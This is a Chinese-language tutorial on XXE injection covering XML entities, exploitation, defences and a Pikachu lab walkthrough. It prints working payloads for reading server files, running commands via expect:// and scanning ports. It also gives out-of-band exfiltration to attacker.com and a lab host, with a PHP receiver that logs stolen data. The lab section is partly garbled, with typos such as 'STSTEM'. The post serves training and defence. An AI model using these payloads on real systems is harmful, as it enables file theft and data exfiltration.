深入理解XXE外部实体注入漏洞:原理、利用与防护
深入理解XXE外部实体注入漏洞:原理、利用与防护
前言
在现代Web应用中,XML(可扩展标记语言)因其良好的结构性和可扩展性,被广泛用于数据传输与存储。然而,当XML解析器对外部实体的加载缺乏限制时,就可能引发XXE(XML External Entity Injection,外部实体注入)漏洞。这一漏洞看似隐蔽,却能导致读取服务器任意文件、执行系统命令、扫描内网端口等严重安全问题。本文将从XML基础出发,详细解析XXE漏洞的原理、利用方式及防护措施,帮助开发者和安全人员全面掌握这一风险点。
一、XML基础:从语法到实体
要理解XXE漏洞,首先需要掌握XML的核心概念,包括其语法特征、文档类型定义(DTD)及实体机制。
1. XML的特征与语法
XML是一种标记语言,其核心特征包括:
- 必须有唯一的根节点,且标签需严格闭合;
- 标签名称大小写敏感,且不能以特殊符号(除_和-外)开头;
- 可包含XML声明(如<?xml version="1.0" encoding="UTF-8"?>),但非必需。
示例如下:
<?xml version="1.0" encoding="UTF-8"?>
<A> <!-- 根节点 --><name>test</name> <!-- 子节点,标签严格闭合 --><age>20</age>
</A>
XML的主要作用是数据传输(如API接口数据交换)和数据存储(如配置文件)。
2. XML文档结构:DTD与实体
XML的文档结构由DTD(Document Type Definition,文档类型定义)约束,DTD用于定义XML文档的合法元素、属性及关系。同时,XML支持“实体”机制,实体可理解为“变量”,用于存储可复用的数据。
(1)DTD的两种形式
DTD分为内部DTD和外部DTD,用于规范XML文档的结构。
- 
内部DTD:直接在XML文档中定义,格式如下: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE user [ <!-- 定义文档类型为user --><!ELEMENT user (username,password)> <!-- 定义user包含username和password子元素 --><!ELEMENT username (#PCDATA)> <!-- username为可解析文本 --><!ELEMENT password (#PCDATA)> <!-- password为可解析文本 --> ]> <user><username>zhangsan</username><password>123456</password> </user>
- 
外部DTD:定义在外部文件中,通过 SYSTEM关键字引入,格式如下:<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE user SYSTEM "1.dtd"> <!-- 引入外部1.dtd --> <user><username>zhangsan</username><password>123456</password> </user>其中 1.dtd内容为:<!ELEMENT user (username,password)> <!ELEMENT username (#PCDATA)> <!ELEMENT password (#PCDATA)>设置不允许加载的时候,加载会出错: 
  
 开启后可以正常加载:(由于浏览器的限制,无法加载)
  
(2)XML实体的分类
实体是XML中用于存储数据的“变量”,分为普通实体和参数实体,且支持内部定义和外部引用。
- 
普通实体:直接定义并在XML元素中使用,格式为 <!ENTITY 实体名 "值">,引用时用&实体名;。<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE user [<!ENTITY s "zhangsan"> <!-- 定义普通实体s --><!ENTITY p "123456"> ]> <user><username>&s;</username> <!-- 引用实体s --><password>&p;</password> </user>
- 
外部实体:引用外部资源(如文件、URL),格式为 <!ENTITY 实体名 SYSTEM "资源路径">。<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE any [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> <!-- 引用本地文件 --> ]> <data>&file;</data> <!-- 引用外部实体,读取文件内容 -->
- 
参数实体:仅在DTD中使用,格式为 <!ENTITY % 实体名 "值">,引用时用%实体名;,常用于外部DTD的嵌套引用。<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE any [<!ENTITY % ext SYSTEM "http://attacker.com/evil.dtd"> <!-- 引入外部参数实体 -->%ext; <!-- 引用参数实体 --> ]>
(3)支持的协议
不同XML解析器支持的协议不同,常见协议如下:
| 解析器/语言 | 支持的主要协议 | 
|---|---|
| libxml2 | file、ftp、http | 
| PHP | file、http、ftp、php://filter(文件编码)、expect://(执行命令,需扩展支持) | 
| Java | http、https、ftp、file、jar | 
| .NET | file、http、https、ftp | 
二、XXE漏洞详解
XXE漏洞的本质是:XML解析器未禁用外部实体加载,导致攻击者可构造恶意XML文档,通过外部实体引用读取敏感文件、执行命令或探测内网。
1. 漏洞触发条件
XXE漏洞的触发需满足两个条件:
- 应用程序会解析用户提交的XML数据;
- XML解析器未禁用外部实体加载(如PHP中libxml_disable_entity_loader默认值为true,需手动设为false才允许加载外部实体)。
2. 漏洞产生原因
当应用程序对用户上传或提交的XML数据缺乏过滤时,攻击者可注入恶意外部实体定义,从而利用解析器的外部资源加载能力执行攻击。
3. 漏洞危害与利用方式
XXE漏洞的危害范围较广,主要包括以下场景:
(1)读取任意文件
通过外部实体引用本地文件路径,可读取服务器敏感文件(如配置文件、密码文件等)。
- 直接读取(内部DTD):<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE any [<!ENTITY file SYSTEM "file:///etc/passwd"> <!-- Linux系统用户文件 --> ]> <data>&file;</data>

- 外部DTD+参数实体读取:
 攻击者服务器放置evil.dtd:
 恶意XML payload:<!ENTITY s SYSTEM "file:///c:/windows/win.ini"> <!-- 目标文件路径 --><?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE any [<!ENTITY % ext SYSTEM "http://attacker.com/evil.dtd"> <!-- 引入外部DTD -->%ext; <!-- 引用参数实体 --> ]> <user><username>&s;</username></user> <!-- 引用实体s,输出文件内容 -->
(2)执行系统命令
若XML解析器所在环境支持expect://协议(如PHP安装expect扩展),可通过外部实体执行系统命令。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any [<!ENTITY cmd SYSTEM "expect://ls -al"> <!-- 执行ls命令 -->
]>
<data>&cmd;</data>
注:命令中的空格可用${IFS}替换(如ls${IFS}-al)。
(3)内网端口扫描
利用外部实体引用内网IP和端口,通过解析超时时间判断端口是否开放(开放端口响应快,关闭端口超时)。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any [<!ENTITY port SYSTEM "http://192.168.1.1:80"> <!-- 探测内网192.168.1.1的80端口 -->
]>
<data>&port;</data>

(4)无回显XXE的利用
当漏洞触发后无直接回显时,可通过“外带数据”方式将结果发送至攻击者控制的服务器。
攻击流程:
- 攻击者服务器放置1.dtd(用于定义数据外带逻辑):<!ENTITY % a "<!ENTITY % send SYSTEM 'http://attacker.com/log.php?data=%file;'>"> %a; <!-- 定义send实体,将file内容发送到log.php -->
- 攻击者服务器放置log.php(用于接收并保存数据):<?php file_put_contents('leak.txt', $_GET['data']); // 将接收的数据存入文件 ?>
- 构造恶意XML payload:<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE any [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!-- 读取文件并Base64编码 --><!ENTITY % ext SYSTEM "http://attacker.com/1.dtd"> <!-- 引入外部DTD -->%ext; <!-- 引用参数实体 -->%send; <!-- 触发数据外带 --> ]>
- 目标服务器解析XML后,会将/etc/passwd的Base64编码内容发送至log.php,攻击者从leak.txt中获取数据并解码。
三、XXE漏洞的修复与防护
XXE漏洞的防护核心是禁用外部实体加载并过滤恶意XML内容,具体措施如下:
1. 禁用外部实体加载
- 
PHP:使用 libxml_disable_entity_loader(true)禁用外部实体:<?php libxml_disable_entity_loader(true); // 关键:禁用外部实体加载 $xml = simplexml_load_string($_POST['xml_data']); ?>
- 
Java:设置 DocumentBuilderFactory的属性禁用外部实体:DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁用DTD
- 
Python:使用 lxml库时禁用外部实体:from lxml import etree parser = etree.XMLParser(resolve_entities=False) # 禁用实体解析 etree.fromstring(xml_data, parser)
2. 过滤恶意内容
对用户提交的XML数据进行严格过滤,禁止包含以下敏感内容:
- DTD相关关键字:<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC;
- 危险协议:file://、http://、ftp://、expect://、php://等。
3. 代码审计关注点
在代码中搜索可能解析XML的函数,确认是否禁用了外部实体:
- PHP:simplexml_load_string()、simplexml_import_dom()、libxml_disable_entity_loader(false);
- 请求头特征:Accept: application/xml、Content-Type: text/xml(提示应用可能处理XML数据)。
四、靶场测试实践
1.pikachu靶场
在漏洞测试中,可按以下步骤验证XXE漏洞:
- 
判断是否使用XML:通过请求头(如 Accept: application/xml)或参数格式(自定义标签)判断应用是否处理XML。
  
- 
触发报错验证:构造错误的XML格式(如缺失闭合标签),观察是否返回XML解析错误,确认解析器存在。 

- 读取文件测试:构造包含外部实体的XML payload,尝试读取已知文件(如/etc/passwd或c:/windows/win.ini),检查是否返回文件内容。

例如,在Pikachu靶场中,构造如下payload可读取c:/windows/win.ini:
<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY file SYSTEM "file:///c:/windows/win.ini">
]>
<test>&file;</test>
2.没有回显的XXE漏洞利用方式
1 原理部分
首先是可以使用php://协议将源代码通过base64编码的方式读取出来
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY s SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user><username>&s;</username><password>11111</password></user>

http://xxxx.com/1.php?get=%s
攻击过程:
三方服务器放置:需要将以下文件放入一个外部的dtd中:
http://192.168.61.249/xxe/1.dtd
<!ENTITY % canshu STSTEM "http://xxxx.com/1.php?get=%s">让1.php去接受%s传递的网页编码后的源代码
需要把以上dtd内容当做一个参数传递:
完整的外部dtd代码如下:<!ENTITY % a "<!ENTITY % send SYSTEM 'http://三方IP/xxe/xxe.php?get=%file;'>">
%a;

三方服务器放置:1.php充当一个获取文件并保存的工具:
http://192.168.61.249/xxe/xxe.php
<?php
file_put_contents('xxx1.txt',$_GET['get']);
?>

攻击payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
<!ENTITY % s  SYSTEM "http://192.168.61.249/xxe/1.dtd">
%s;
%send;
]>
三方服务器收到xxx1.txt记录base64编码的页面源代码:

另外一种不存储在本地的方法:
配置部分不变,修改请求的三方dtd文件,不在传入一个php文件中。传递的结果会存放在请求日志或者记录中:

或者在log文件中

3.代码计部分
simplexml_load_string() 
simplexml_import_dom() 
libxml_disable_entity_loader(false); 以上三个函数时用来开启XML外部实体的。找的时候
Accept: application/xml, text/xml
Accept: text/html,application/xhtml+xml,application/xml;
pikachu:
<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE suibian[
<!ENTITY a SYSTEM "file:///c:/windows/win.ini"> <!--三个斜杠-->]>
<suibian>&a;</suibian>

总结
XXE漏洞作为XML解析过程中的典型安全风险,其危害涵盖文件读取、命令执行、内网探测等多个维度。掌握XML的DTD与实体机制是理解XXE的基础,而禁用外部实体加载和过滤恶意内容则是防护的核心手段。
在实际开发中,应始终保持“不信任用户输入”的原则,对XML解析器进行严格配置,避免因疏忽导致安全漏洞。同时,安全人员需熟悉XXE的各种利用方式(包括无回显场景),通过靶场练习和代码审计提升漏洞识别与修复能力,从而有效防范这一隐患。
